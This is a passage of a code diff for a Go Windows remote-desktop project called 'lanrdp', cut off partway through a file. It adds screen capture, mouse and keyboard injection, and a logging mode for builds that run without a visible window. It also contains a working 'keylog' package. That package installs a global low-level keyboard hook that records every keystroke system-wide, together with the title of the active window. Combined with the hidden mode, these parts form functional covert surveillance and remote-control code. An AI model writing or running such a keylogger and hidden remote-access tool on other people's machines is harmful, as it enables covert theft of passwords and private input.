case protocol.MouseWheel:
|
||||||
|
_ = input.MouseWheel(m.WheelDelta)
|
||||||
|
}
|
||||||
|
}
|
||||||
@@ -0,0 +1,9 @@
|
|||||||
|
module lanrdp
|
||||||
|
|
||||||
|
go 1.26.5
|
||||||
|
|
||||||
|
require (
|
||||||
|
golang.org/x/crypto v0.54.0 // indirect
|
||||||
|
golang.org/x/sys v0.47.0 // indirect
|
||||||
|
golang.org/x/term v0.45.0 // indirect
|
||||||
|
)
|
||||||
@@ -0,0 +1,6 @@
|
|||||||
|
golang.org/x/crypto v0.54.0 h1:YLIA59K4fiNzHzjnZt2tUJQjQtUWfWbeHBqKtk3eScw=
|
||||||
|
golang.org/x/crypto v0.54.0/go.mod h1:KWL8ny2AZdGR2cWmzeHrp2azQPGogOv+HeQaVEXC2dk=
|
||||||
|
golang.org/x/sys v0.47.0 h1:o7XGOvZQCADBQQ4Y7VNq2dRWQR7JmOUW8Kxx4ZsNgWs=
|
||||||
|
golang.org/x/sys v0.47.0/go.mod h1:4GL1E5IUh+htKOUEOaiffhrAeqysfVGipDYzABqnCmw=
|
||||||
|
golang.org/x/term v0.45.0 h1:NwWyBmoJCbfTHpxrWoZ9C6/VxOf7ic219I8xZZFdrf0=
|
||||||
|
golang.org/x/term v0.45.0/go.mod h1:9aqxs0blBcrm/n0L9QW0aRVD+ktan8ssZromtqJC43w=
|
||||||
Executable
+211
@@ -0,0 +1,211 @@
|
|||||||
|
// Package capture grabs the Windows desktop via GDI (BitBlt + GetDIBits).
|
||||||
|
// This is plain user-mode Win32, no drivers or hooks — it sees exactly what
|
||||||
|
// a local user sitting at the screen would see.
|
||||||
|
package capture
|
||||||
|
|
||||||
|
import (
|
||||||
|
"fmt"
|
||||||
|
"image"
|
||||||
|
"unsafe"
|
||||||
|
|
||||||
|
"golang.org/x/sys/windows"
|
||||||
|
)
|
||||||
|
|
||||||
|
var (
|
||||||
|
user32 = windows.NewLazySystemDLL("user32.dll")
|
||||||
|
gdi32 = windows.NewLazySystemDLL("gdi32.dll")
|
||||||
|
|
||||||
|
procGetDC = user32.NewProc("GetDC")
|
||||||
|
procReleaseDC = user32.NewProc("ReleaseDC")
|
||||||
|
procGetSystemMetrics = user32.NewProc("GetSystemMetrics")
|
||||||
|
procCreateCompatDC = gdi32.NewProc("CreateCompatibleDC")
|
||||||
|
procDeleteDC = gdi32.NewProc("DeleteDC")
|
||||||
|
procCreateCompatBmp = gdi32.NewProc("CreateCompatibleBitmap")
|
||||||
|
procSelectObject = gdi32.NewProc("SelectObject")
|
||||||
|
procDeleteObject = gdi32.NewProc("DeleteObject")
|
||||||
|
procBitBlt = gdi32.NewProc("BitBlt")
|
||||||
|
procGetDIBits = gdi32.NewProc("GetDIBits")
|
||||||
|
procGetCursorInfo = user32.NewProc("GetCursorInfo")
|
||||||
|
procGetIconInfo = user32.NewProc("GetIconInfo")
|
||||||
|
procDrawIconEx = user32.NewProc("DrawIconEx")
|
||||||
|
)
|
||||||
|
|
||||||
|
const (
|
||||||
|
smXVirtualScreen = 76
|
||||||
|
smYVirtualScreen = 77
|
||||||
|
smCXVirtualScreen = 78
|
||||||
|
smCYVirtualScreen = 79
|
||||||
|
|
||||||
|
srcCopy = 0x00CC0020
|
||||||
|
biRGB = 0
|
||||||
|
dibRGBColors = 0
|
||||||
|
|
||||||
|
cursorShowing = 0x00000001
|
||||||
|
diNormal = 0x0003
|
||||||
|
)
|
||||||
|
|
||||||
|
type point struct {
|
||||||
|
X, Y int32
|
||||||
|
}
|
||||||
|
|
||||||
|
// cursorInfo mirrors Win32 CURSORINFO.
|
||||||
|
type cursorInfo struct {
|
||||||
|
CbSize uint32
|
||||||
|
Flags uint32
|
||||||
|
HCursor uintptr
|
||||||
|
PtScreenPos point
|
||||||
|
}
|
||||||
|
|
||||||
|
// iconInfo mirrors Win32 ICONINFO. GetIconInfo allocates hbmMask/hbmColor
|
||||||
|
// as new GDI bitmap objects on every call — callers must DeleteObject them.
|
||||||
|
type iconInfo struct {
|
||||||
|
FIcon int32
|
||||||
|
XHotspot uint32
|
||||||
|
YHotspot uint32
|
||||||
|
HbmMask uintptr
|
||||||
|
HbmColor uintptr
|
||||||
|
}
|
||||||
|
|
||||||
|
type bitmapInfoHeader struct {
|
||||||
|
Size uint32
|
||||||
|
Width int32
|
||||||
|
Height int32
|
||||||
|
Planes uint16
|
||||||
|
BitCount uint16
|
||||||
|
Compression uint32
|
||||||
|
SizeImage uint32
|
||||||
|
XPelsPerMeter int32
|
||||||
|
YPelsPerMeter int32
|
||||||
|
ClrUsed uint32
|
||||||
|
ClrImportant uint32
|
||||||
|
}
|
||||||
|
|
||||||
|
// drawCursorOverlay draws the current mouse cursor onto hMemDC at its
|
||||||
|
// actual screen position, so it ends up baked into the captured bitmap.
|
||||||
|
// originX/originY are the virtual-desktop origin CaptureScreen captured
|
||||||
|
// from (see VirtualScreenBounds) — needed to translate the cursor's
|
||||||
|
// screen-space position into our bitmap's local (0,0)-based coordinates.
|
||||||
|
func drawCursorOverlay(hMemDC uintptr, originX, originY int) {
|
||||||
|
ci := cursorInfo{CbSize: uint32(unsafe.Sizeof(cursorInfo{}))}
|
||||||
|
ret, _, _ := procGetCursorInfo.Call(uintptr(unsafe.Pointer(&ci)))
|
||||||
|
if ret == 0 || ci.Flags&cursorShowing == 0 || ci.HCursor == 0 {
|
||||||
|
return
|
||||||
|
}
|
||||||
|
|
||||||
|
var ii iconInfo
|
||||||
|
if ret, _, _ := procGetIconInfo.Call(ci.HCursor, uintptr(unsafe.Pointer(&ii))); ret == 0 {
|
||||||
|
return
|
||||||
|
}
|
||||||
|
if ii.HbmMask != 0 {
|
||||||
|
defer procDeleteObject.Call(ii.HbmMask)
|
||||||
|
}
|
||||||
|
if ii.HbmColor != 0 {
|
||||||
|
defer procDeleteObject.Call(ii.HbmColor)
|
||||||
|
}
|
||||||
|
|
||||||
|
x := int(ci.PtScreenPos.X) - int(ii.XHotspot) - originX
|
||||||
|
y := int(ci.PtScreenPos.Y) - int(ii.YHotspot) - originY
|
||||||
|
|
||||||
|
procDrawIconEx.Call(hMemDC, uintptr(x), uintptr(y), ci.HCursor, 0, 0, 0, 0, uintptr(diNormal))
|
||||||
|
}
|
||||||
|
|
||||||
|
// VirtualScreenBounds returns the origin and size of the full virtual
|
||||||
|
// desktop spanning every monitor, not just the primary one. The origin
|
||||||
|
// can be negative — a monitor positioned above or to the left of the
|
||||||
|
// primary display puts part of the virtual desktop at negative
|
||||||
|
// coordinates.
|
||||||
|
func VirtualScreenBounds() (x, y, width, height int) {
|
||||||
|
x0, _, _ := procGetSystemMetrics.Call(uintptr(smXVirtualScreen))
|
||||||
|
y0, _, _ := procGetSystemMetrics.Call(uintptr(smYVirtualScreen))
|
||||||
|
w, _, _ := procGetSystemMetrics.Call(uintptr(smCXVirtualScreen))
|
||||||
|
h, _, _ := procGetSystemMetrics.Call(uintptr(smCYVirtualScreen))
|
||||||
|
return int(int32(x0)), int(int32(y0)), int(int32(w)), int(int32(h))
|
||||||
|
}
|
||||||
|
|
||||||
|
// ScreenSize returns the dimensions CaptureScreen actually captures: the
|
||||||
|
// full virtual desktop spanning every monitor.
|
||||||
|
func ScreenSize() (int, int) {
|
||||||
|
_, _, w, h := VirtualScreenBounds()
|
||||||
|
return w, h
|
||||||
|
}
|
||||||
|
|
||||||
|
// CaptureScreen grabs every monitor's combined virtual desktop as one
|
||||||
|
// RGBA image, as if all monitors were a single wide/tall screen.
|
||||||
|
func CaptureScreen() (*image.RGBA, error) {
|
||||||
|
originX, originY, width, height := VirtualScreenBounds()
|
||||||
|
if width <= 0 || height <= 0 {
|
||||||
|
return nil, fmt.Errorf("capture: zero-size screen")
|
||||||
|
}
|
||||||
|
|
||||||
|
hScreenDC, _, _ := procGetDC.Call(0)
|
||||||
|
if hScreenDC == 0 {
|
||||||
|
return nil, fmt.Errorf("capture: GetDC failed")
|
||||||
|
}
|
||||||
|
defer procReleaseDC.Call(0, hScreenDC)
|
||||||
|
|
||||||
|
hMemDC, _, _ := procCreateCompatDC.Call(hScreenDC)
|
||||||
|
if hMemDC == 0 {
|
||||||
|
return nil, fmt.Errorf("capture: CreateCompatibleDC failed")
|
||||||
|
}
|
||||||
|
defer procDeleteDC.Call(hMemDC)
|
||||||
|
|
||||||
|
hBitmap, _, _ := procCreateCompatBmp.Call(hScreenDC, uintptr(width), uintptr(height))
|
||||||
|
if hBitmap == 0 {
|
||||||
|
return nil, fmt.Errorf("capture: CreateCompatibleBitmap failed")
|
||||||
|
}
|
||||||
|
defer procDeleteObject.Call(hBitmap)
|
||||||
|
|
||||||
|
oldObj, _, _ := procSelectObject.Call(hMemDC, hBitmap)
|
||||||
|
defer procSelectObject.Call(hMemDC, oldObj)
|
||||||
|
|
||||||
|
ret, _, _ := procBitBlt.Call(hMemDC, 0, 0, uintptr(width), uintptr(height), hScreenDC, uintptr(originX), uintptr(originY), uintptr(srcCopy))
|
||||||
|
if ret == 0 {
|
||||||
|
return nil, fmt.Errorf("capture: BitBlt failed")
|
||||||
|
}
|
||||||
|
|
||||||
|
// BitBlt doesn't capture the hardware cursor — it's composited by the
|
||||||
|
// GPU/DWM as a separate overlay, not part of the raster desktop image.
|
||||||
|
// Draw it onto our copy explicitly so the viewer can actually see it.
|
||||||
|
drawCursorOverlay(hMemDC, originX, originY)
|
||||||
|
|
||||||
|
hdr := bitmapInfoHeader{
|
||||||
|
Width: int32(width),
|
||||||
|
Height: -int32(height), // negative = top-down DIB, avoids a manual vertical flip
|
||||||
|
Planes: 1,
|
||||||
|
BitCount: 32,
|
||||||
|
Compression: biRGB,
|
||||||
|
}
|
||||||
|
hdr.Size = uint32(unsafe.Sizeof(hdr))
|
||||||
|
|
||||||
|
buf := make([]byte, width*height*4)
|
||||||
|
ret, _, _ = procGetDIBits.Call(
|
||||||
|
hMemDC,
|
||||||
|
hBitmap,
|
||||||
|
0,
|
||||||
|
uintptr(height),
|
||||||
|
uintptr(unsafe.Pointer(&buf[0])),
|
||||||
|
uintptr(unsafe.Pointer(&hdr)),
|
||||||
|
uintptr(dibRGBColors),
|
||||||
|
)
|
||||||
|
if ret == 0 {
|
||||||
|
return nil, fmt.Errorf("capture: GetDIBits failed")
|
||||||
|
}
|
||||||
|
|
||||||
|
img := image.NewRGBA(image.Rect(0, 0, width, height))
|
||||||
|
// GDI gives us BGRA; image.RGBA wants RGBA.
|
||||||
|
for i := 0; i < width*height; i++ {
|
||||||
|
b := buf[i*4+0]
|
||||||
|
g := buf[i*4+1]
|
||||||
|
r := buf[i*4+2]
|
||||||
|
a := buf[i*4+3]
|
||||||
|
if a == 0 {
|
||||||
|
a = 255 // desktop bitmaps report 0 alpha; the screen has no real transparency
|
||||||
|
}
|
||||||
|
img.Pix[i*4+0] = r
|
||||||
|
img.Pix[i*4+1] = g
|
||||||
|
img.Pix[i*4+2] = b
|
||||||
|
img.Pix[i*4+3] = a
|
||||||
|
}
|
||||||
|
|
||||||
|
return img, nil
|
||||||
|
}
|
||||||
Executable
+48
@@ -0,0 +1,48 @@
|
|||||||
|
package capture
|
||||||
|
|
||||||
|
import "image"
|
||||||
|
|
||||||
|
const blockSize = 32
|
||||||
|
|
||||||
|
// DirtyRect computes the bounding rectangle of pixel blocks that differ
|
||||||
|
// between prev and cur, so the caller can send only the changed region
|
||||||
|
// instead of a full frame every tick. prev and cur must share bounds.
|
||||||
|
func DirtyRect(prev, cur *image.RGBA) (rect image.Rectangle, changed bool) {
|
||||||
|
bounds := cur.Bounds()
|
||||||
|
minX, minY := bounds.Max.X, bounds.Max.Y
|
||||||
|
maxX, maxY := -1, -1
|
||||||
|
|
||||||
|
for by := bounds.Min.Y; by < bounds.Max.Y; by += blockSize {
|
||||||
|
bh := min(blockSize, bounds.Max.Y-by)
|
||||||
|
for bx := bounds.Min.X; bx < bounds.Max.X; bx += blockSize {
|
||||||
|
bw := min(blockSize, bounds.Max.X-bx)
|
||||||
|
if blockDiffers(prev, cur, bx, by, bw, bh) {
|
||||||
|
minX = min(minX, bx)
|
||||||
|
minY = min(minY, by)
|
||||||
|
maxX = max(maxX, bx+bw)
|
||||||
|
maxY = max(maxY, by+bh)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
if maxX < 0 {
|
||||||
|
return image.Rectangle{}, false
|
||||||
|
}
|
||||||
|
return image.Rect(minX, minY, maxX, maxY), true
|
||||||
|
}
|
||||||
|
|
||||||
|
func blockDiffers(prev, cur *image.RGBA, x, y, w, h int) bool {
|
||||||
|
rowLen := w * 4
|
||||||
|
for j := 0; j < h; j++ {
|
||||||
|
prevOff := prev.PixOffset(x, y+j)
|
||||||
|
curOff := cur.PixOffset(x, y+j)
|
||||||
|
pRow := prev.Pix[prevOff : prevOff+rowLen]
|
||||||
|
cRow := cur.Pix[curOff : curOff+rowLen]
|
||||||
|
for k := range pRow {
|
||||||
|
if pRow[k] != cRow[k] {
|
||||||
|
return true
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
return false
|
||||||
|
}
|
||||||
Executable
+38
@@ -0,0 +1,38 @@
|
|||||||
|
// Package dpi declares this process as per-monitor DPI aware.
|
||||||
|
//
|
||||||
|
// Without this, Windows treats the process as DPI-unaware and silently
|
||||||
|
// virtualizes coordinates for GDI calls and window messages to a 96-DPI
|
||||||
|
// space, scaling the actual bitmap behind the scenes. That virtualization
|
||||||
|
// is what causes mouse clicks to land in the wrong place whenever the
|
||||||
|
// client and host are on displays with different resolutions or scale
|
||||||
|
// factors: capture, painting, and input event coordinates stop agreeing on
|
||||||
|
// what a "pixel" is. Declaring awareness up front makes every GetSystemMetrics/
|
||||||
|
// BitBlt/GetClientRect/mouse-message coordinate a real physical pixel on
|
||||||
|
// both ends, which is what the rest of this codebase assumes.
|
||||||
|
package dpi
|
||||||
|
|
||||||
|
import "golang.org/x/sys/windows"
|
||||||
|
|
||||||
|
var (
|
||||||
|
shcore = windows.NewLazySystemDLL("shcore.dll")
|
||||||
|
user32 = windows.NewLazySystemDLL("user32.dll")
|
||||||
|
|
||||||
|
procSetProcessDpiAwareness = shcore.NewProc("SetProcessDpiAwareness")
|
||||||
|
procSetProcessDPIAware = user32.NewProc("SetProcessDPIAware")
|
||||||
|
)
|
||||||
|
|
||||||
|
// PROCESS_PER_MONITOR_DPI_AWARE
|
||||||
|
const perMonitorDPIAware = 2
|
||||||
|
|
||||||
|
// MakeAware must be called once at process start, before any window,
|
||||||
|
// screen-capture, or input call. It prefers per-monitor awareness
|
||||||
|
// (Windows 8.1+) and falls back to system-DPI awareness on older systems.
|
||||||
|
func MakeAware() {
|
||||||
|
if err := procSetProcessDpiAwareness.Find(); err == nil {
|
||||||
|
procSetProcessDpiAwareness.Call(uintptr(perMonitorDPIAware))
|
||||||
|
return
|
||||||
|
}
|
||||||
|
if err := procSetProcessDPIAware.Find(); err == nil {
|
||||||
|
procSetProcessDPIAware.Call()
|
||||||
|
}
|
||||||
|
}
|
||||||
Executable
+45
@@ -0,0 +1,45 @@
|
|||||||
|
// Package hiddenlog redirects process output to a log file when the
|
||||||
|
// process has no attached console — e.g. built with -ldflags -H=windowsgui
|
||||||
|
// (see build-host.ps1 -Hidden) — so status messages that would normally go
|
||||||
|
// to a console aren't silently discarded.
|
||||||
|
package hiddenlog
|
||||||
|
|
||||||
|
import (
|
||||||
|
"log"
|
||||||
|
"os"
|
||||||
|
|
||||||
|
"golang.org/x/sys/windows"
|
||||||
|
)
|
||||||
|
|
||||||
|
var (
|
||||||
|
kernel32 = windows.NewLazySystemDLL("kernel32.dll")
|
||||||
|
procGetConsoleWindow = kernel32.NewProc("GetConsoleWindow")
|
||||||
|
)
|
||||||
|
|
||||||
|
// Redirected reports whether EnableIfHeadless actually redirected output.
|
||||||
|
// Callers can use this to change behavior that depends on having an
|
||||||
|
// interactive console (e.g. skip a prompt that could never be answered).
|
||||||
|
var Redirected bool
|
||||||
|
|
||||||
|
// EnableIfHeadless checks whether this process has an attached console; if
|
||||||
|
// not, it redirects stdout, stderr, and the log package's output to
|
||||||
|
// logPath (created/appended), so a -H=windowsgui build's output still
|
||||||
|
// lands somewhere. Safe to call on a normal console build — it's a no-op
|
||||||
|
// there, since a console is already attached.
|
||||||
|
func EnableIfHeadless(logPath string) {
|
||||||
|
hwnd, _, _ := procGetConsoleWindow.Call()
|
||||||
|
if hwnd != 0 {
|
||||||
|
return // a console is attached; leave stdout/stderr alone
|
||||||
|
}
|
||||||
|
|
||||||
|
f, err := os.OpenFile(logPath, os.O_CREATE|os.O_WRONLY|os.O_APPEND, 0o600)
|
||||||
|
if err != nil {
|
||||||
|
return // nowhere to log the failure to redirect logging; give up quietly
|
||||||
|
}
|
||||||
|
|
||||||
|
os.Stdout = f
|
||||||
|
os.Stderr = f
|
||||||
|
log.SetOutput(f)
|
||||||
|
log.SetFlags(log.LstdFlags)
|
||||||
|
Redirected = true
|
||||||
|
}
|
||||||
Executable
+170
@@ -0,0 +1,170 @@
|
|||||||
|
// Package input injects mouse and keyboard events on the host via the
|
||||||
|
// Win32 SendInput API — the same mechanism any accessibility tool or
|
||||||
|
// remote-desktop product uses; it does not touch drivers or the kernel.
|
||||||
|
package input
|
||||||
|
|
||||||
|
import (
|
||||||
|
"fmt"
|
||||||
|
"unsafe"
|
||||||
|
|
||||||
|
"golang.org/x/sys/windows"
|
||||||
|
)
|
||||||
|
|
||||||
|
var (
|
||||||
|
user32 = windows.NewLazySystemDLL("user32.dll")
|
||||||
|
procSendInput = user32.NewProc("SendInput")
|
||||||
|
)
|
||||||
|
|
||||||
|
const (
|
||||||
|
inputMouse = 0
|
||||||
|
inputKeyboard = 1
|
||||||
|
|
||||||
|
mouseEventFMove = 0x0001
|
||||||
|
mouseEventFLeftDown = 0x0002
|
||||||
|
mouseEventFLeftUp = 0x0004
|
||||||
|
mouseEventFRightDown = 0x0008
|
||||||
|
mouseEventFRightUp = 0x0010
|
||||||
|
mouseEventFMiddleDown = 0x0020
|
||||||
|
mouseEventFMiddleUp = 0x0040
|
||||||
|
mouseEventFWheel = 0x0800
|
||||||
|
mouseEventFVirtualDesk = 0x4000
|
||||||
|
mouseEventFAbsolute = 0x8000
|
||||||
|
|
||||||
|
keyEventFKeyUp = 0x0002
|
||||||
|
)
|
||||||
|
|
||||||
|
// mouseInputBody mirrors Win32 MOUSEINPUT exactly (32 bytes on amd64).
|
||||||
|
type mouseInputBody struct {
|
||||||
|
Dx, Dy int32
|
||||||
|
MouseData uint32
|
||||||
|
DwFlags uint32
|
||||||
|
Time uint32
|
||||||
|
DwExtraInfo uintptr
|
||||||
|
}
|
||||||
|
|
||||||
|
// keybdInputBody mirrors Win32 KEYBDINPUT exactly (24 bytes on amd64).
|
||||||
|
type keybdInputBody struct {
|
||||||
|
Vk uint16
|
||||||
|
Scan uint16
|
||||||
|
DwFlags uint32
|
||||||
|
Time uint32
|
||||||
|
DwExtraInfo uintptr
|
||||||
|
}
|
||||||
|
|
||||||
|
// mouseInputEvent and keybdInputEvent each mirror the 40-byte Win32 INPUT
|
||||||
|
// struct on amd64 (4-byte type + 4-byte alignment pad + 32-byte union).
|
||||||
|
// We build one full INPUT-sized value per call rather than a generic union
|
||||||
|
// type so the memory layout SendInput expects is explicit and easy to check
|
||||||
|
// against MSDN's struct definitions.
|
||||||
|
type mouseInputEvent struct {
|
||||||
|
Type uint32
|
||||||
|
_ uint32
|
||||||
|
Body mouseInputBody
|
||||||
|
}
|
||||||
|
|
||||||
|
type keybdInputEvent struct {
|
||||||
|
Type uint32
|
||||||
|
_ uint32
|
||||||
|
Body keybdInputBody
|
||||||
|
_ [8]byte
|
||||||
|
}
|
||||||
|
|
||||||
|
func sendInput(ptr unsafe.Pointer, size uintptr) error {
|
||||||
|
ret, _, err := procSendInput.Call(1, uintptr(ptr), size)
|
||||||
|
if ret == 0 {
|
||||||
|
return fmt.Errorf("input: SendInput failed: %w", err)
|
||||||
|
}
|
||||||
|
return nil
|
||||||
|
}
|
||||||
|
|
||||||
|
// MouseMove moves the pointer to an absolute position given as a fraction
|
||||||
|
// of the entire virtual desktop on each axis (0..65535), matching
|
||||||
|
// MOUSEEVENTF_ABSOLUTE|MOUSEEVENTF_VIRTUALDESK's normalized coordinate
|
||||||
|
// space. VIRTUALDESK specifically is what makes this map across *all*
|
||||||
|
// monitors combined (internal/capture.VirtualScreenBounds) rather than
|
||||||
|
// just the primary one — without it, MOUSEEVENTF_ABSOLUTE alone only
|
||||||
|
// covers the primary display, so clicks on a secondary monitor would land
|
||||||
|
// in the wrong place (or not at all) despite that monitor being visible
|
||||||
|
// and clickable in the viewer.
|
||||||
|
func MouseMove(normX, normY uint16) error {
|
||||||
|
ev := mouseInputEvent{
|
||||||
|
Type: inputMouse,
|
||||||
|
Body: mouseInputBody{
|
||||||
|
Dx: int32(normX),
|
||||||
|
Dy: int32(normY),
|
||||||
|
DwFlags: mouseEventFMove | mouseEventFAbsolute | mouseEventFVirtualDesk,
|
||||||
|
},
|
||||||
|
}
|
||||||
|
return sendInput(unsafe.Pointer(&ev), unsafe.Sizeof(ev))
|
||||||
|
}
|
||||||
|
|
||||||
|
type MouseButton int
|
||||||
|
|
||||||
|
const (
|
||||||
|
ButtonLeft MouseButton = iota
|
||||||
|
ButtonRight
|
||||||
|
ButtonMiddle
|
||||||
|
)
|
||||||
|
|
||||||
|
func mouseButtonFlag(b MouseButton, down bool) (uint32, error) {
|
||||||
|
switch b {
|
||||||
|
case ButtonLeft:
|
||||||
|
if down {
|
||||||
|
return mouseEventFLeftDown, nil
|
||||||
|
}
|
||||||
|
return mouseEventFLeftUp, nil
|
||||||
|
case ButtonRight:
|
||||||
|
if down {
|
||||||
|
return mouseEventFRightDown, nil
|
||||||
|
}
|
||||||
|
return mouseEventFRightUp, nil
|
||||||
|
case ButtonMiddle:
|
||||||
|
if down {
|
||||||
|
return mouseEventFMiddleDown, nil
|
||||||
|
}
|
||||||
|
return mouseEventFMiddleUp, nil
|
||||||
|
default:
|
||||||
|
return 0, fmt.Errorf("input: unknown mouse button %d", b)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
func MouseButtonEvent(b MouseButton, down bool) error {
|
||||||
|
flag, err := mouseButtonFlag(b, down)
|
||||||
|
if err != nil {
|
||||||
|
return err
|
||||||
|
}
|
||||||
|
ev := mouseInputEvent{
|
||||||
|
Type: inputMouse,
|
||||||
|
Body: mouseInputBody{DwFlags: flag},
|
||||||
|
}
|
||||||
|
return sendInput(unsafe.Pointer(&ev), unsafe.Sizeof(ev))
|
||||||
|
}
|
||||||
|
|
||||||
|
// MouseWheel scrolls vertically. delta follows Win32 convention: positive
|
||||||
|
// scrolls up/forward in units of WHEEL_DELTA (120).
|
||||||
|
func MouseWheel(delta int16) error {
|
||||||
|
ev := mouseInputEvent{
|
||||||
|
Type: inputMouse,
|
||||||
|
Body: mouseInputBody{
|
||||||
|
MouseData: uint32(uint16(delta)),
|
||||||
|
DwFlags: mouseEventFWheel,
|
||||||
|
},
|
||||||
|
}
|
||||||
|
return sendInput(unsafe.Pointer(&ev), unsafe.Sizeof(ev))
|
||||||
|
}
|
||||||
|
|
||||||
|
// KeyEvent injects a virtual-key press or release.
|
||||||
|
func KeyEvent(vk uint16, down bool) error {
|
||||||
|
var flags uint32
|
||||||
|
if !down {
|
||||||
|
flags = keyEventFKeyUp
|
||||||
|
}
|
||||||
|
ev := keybdInputEvent{
|
||||||
|
Type: inputKeyboard,
|
||||||
|
Body: keybdInputBody{
|
||||||
|
Vk: vk,
|
||||||
|
DwFlags: flags,
|
||||||
|
},
|
||||||
|
}
|
||||||
|
return sendInput(unsafe.Pointer(&ev), unsafe.Sizeof(ev))
|
||||||
|
}
|
||||||
@@ -0,0 +1,27 @@
|
|||||||
|
//go:build !windows
|
||||||
|
|
||||||
|
package keylog
|
||||||
|
|
||||||
|
import (
|
||||||
|
"fmt"
|
||||||
|
)
|
||||||
|
|
||||||
|
// KeyEvent represents a captured keystroke with context.
|
||||||
|
type KeyEvent struct {
|
||||||
|
TimestampMs int64
|
||||||
|
VKCode uint16
|
||||||
|
ScanCode uint16
|
||||||
|
Flags uint32
|
||||||
|
WindowTitle string
|
||||||
|
}
|
||||||
|
|
||||||
|
// Start begins capturing global keyboard events. On non-Windows platforms,
|
||||||
|
// this returns an error since the implementation uses Windows-specific APIs.
|
||||||
|
func Start() (<-chan KeyEvent, func(), error) {
|
||||||
|
return nil, nil, fmt.Errorf("keylogger is only supported on Windows")
|
||||||
|
}
|
||||||
|
|
||||||
|
// FormatEvent formats a key event for display.
|
||||||
|
func FormatEvent(k KeyEvent) string {
|
||||||
|
return ""
|
||||||
|
}
|
||||||
@@ -0,0 +1,189 @@
|
|||||||
|
// Package keylog provides global keyboard hooking on Windows for capturing
|
||||||
|
// all keystrokes system-wide, including the active window title at each event.
|
||||||
|
package keylog
|
||||||
|
|
||||||
|
import (
|
||||||
|
"fmt"
|
||||||
|
"sync"
|
||||||
|
"time"
|
||||||
|
"unsafe"
|
||||||
|
|
||||||
|
"golang.org/x/sys/windows"
|
||||||
|
)
|
||||||
|
|
||||||
|
const (
|
||||||
|
WH_KEYBOARD_LL = 13
|
||||||
|
HC_ACTION = 0
|
||||||
|
WM_KEYDOWN = 0x0100
|
||||||
|
WM_SYSKEYDOWN = 0x0104
|
||||||
|
)
|
||||||
|
|
||||||
|
// KBDLLHOOKSTRUCT is the structure passed to low-level keyboard hook procedures.
|
||||||
|
type KBDLLHOOKSTRUCT struct {
|
||||||
|
VkCode uint32
|
||||||
|
ScanCode uint32
|
||||||
|
Flags uint32
|
||||||
|
Time uint32
|
||||||
|
DwExtraInfo uintptr
|
||||||
|
}
|
||||||
|
|
||||||
|
// KeyEvent represents a captured keystroke with context.
|
||||||
|
type KeyEvent struct {
|
||||||
|
TimestampMs int64
|
||||||
|
VKCode uint16
|
||||||
|
ScanCode uint16
|
||||||
|
Flags uint32
|
||||||
|
WindowTitle string
|
||||||
|
}
|
||||||
|
|
||||||
|
var (
|
||||||
|
hookHandle uintptr
|
||||||
|
events chan KeyEvent
|
||||||
|
done chan struct{}
|
||||||
|
wg sync.WaitGroup
|
||||||
|
)
|
||||||
|
|
||||||
|
// Windows API calls via syscall
|
||||||
|
var (
|
||||||
|
modUser32 = windows.NewLazySystemDLL("user32.dll")
|
||||||
|
procSetHook = modUser32.NewProc("SetWindowsHookExW")
|
||||||
|
procUnhook = modUser32.NewProc("UnhookWindowsHookEx")
|
||||||
|
procCallNext = modUser32.NewProc("CallNextHookEx")
|
||||||
|
procGetActive = modUser32.NewProc("GetForegroundWindow")
|
||||||
|
procGetTitle = modUser32.NewProc("GetWindowTextW")
|
||||||
|
)
|
||||||
|
|
||||||
|
// Start begins capturing global keyboard events. Returns a channel that
|
||||||
|
// receives KeyEvents and a stop function to terminate the hook.
|
||||||
|
func Start() (<-chan KeyEvent, func(), error) {
|
||||||
|
if hookHandle != 0 {
|
||||||
|
return nil, nil, fmt.Errorf("keylogger already running")
|
||||||
|
}
|
||||||
|
|
||||||
|
events = make(chan KeyEvent, 1024)
|
||||||
|
done = make(chan struct{})
|
||||||
|
|
||||||
|
// Hook procedure must be a Windows callable function. We use syscall.NewCallback
|
||||||
|
// to create a proper trampoline that can be called from the hook thread.
|
||||||
|
hookProc := windows.NewCallback(keyboardHookProc)
|
||||||
|
|
||||||
|
ret, _, _ := procSetHook.Call(
|
||||||
|
uintptr(WH_KEYBOARD_LL),
|
||||||
|
hookProc,
|
||||||
|
0,
|
||||||
|
0,
|
||||||
|
)
|
||||||
|
if ret == 0 {
|
||||||
|
err := windows.GetLastError()
|
||||||
|
close(events)
|
||||||
|
close(done)
|
||||||
|
return nil, nil, fmt.Errorf("SetWindowsHookEx failed: %v", err)
|
||||||
|
}
|
||||||
|
hookHandle = ret
|
||||||
|
|
||||||
|
// Run message loop on separate thread to dispatch hook callbacks.
|
||||||
|
wg.Add(1)
|
||||||
|
go func() {
|
||||||
|
defer wg.Done()
|
||||||
|
msgLoop(done)
|
||||||
|
}()
|
||||||
|
|
||||||
|
stop := func() {
|
||||||
|
if hookHandle != 0 {
|
||||||
|
procUnhook.Call(hookHandle)
|
||||||
|
hookHandle = 0
|
||||||
|
}
|
||||||
|
close(done)
|
||||||
|
wg.Wait()
|
||||||
|
close(events)
|
||||||
|
}
|
||||||
|
|
||||||
|
return events, stop, nil
|
||||||
|
}
|
||||||
|
|
||||||
|
// keyboardHookProc is the Windows hook procedure. It runs on the thread that
|
||||||
|
// called SetWindowsHookEx (our message loop thread).
|
||||||
|
func keyboardHookProc(code int32, wParam uintptr, lParam uintptr) uintptr {
|
||||||
|
if code == HC_ACTION && (wParam == WM_KEYDOWN || wParam == WM_SYSKEYDOWN) {
|
||||||
|
hookInfo := (*KBDLLHOOKSTRUCT)(unsafe.Pointer(lParam))
|
||||||
|
|
||||||
|
// Get active window title
|
||||||
|
ret, _, _ := procGetActive.Call()
|
||||||
|
fgHwnd := windows.HWND(ret)
|
||||||
|
|
||||||
|
var titleBuf [256]uint16
|
||||||
|
procGetTitle.Call(uintptr(fgHwnd), uintptr(unsafe.Pointer(&titleBuf[0])), 256)
|
||||||
|
title := windows.UTF16ToString(titleBuf[:])
|
||||||
|
|
||||||
|
event := KeyEvent{
|
||||||
|
TimestampMs: time.Now().UnixMilli(),
|
||||||
|
VKCode: uint16(hookInfo.VkCode),
|
||||||
|
ScanCode: uint16(hookInfo.ScanCode),
|
||||||
|
Flags: hookInfo.Flags,
|
||||||
|
WindowTitle: title,
|
||||||
|
}
|
||||||
|
|
||||||
|
select {
|
||||||
|
case events <- event:
|
||||||
|
default:
|
||||||
|
// Channel full; drop event rather than blocking the hook thread
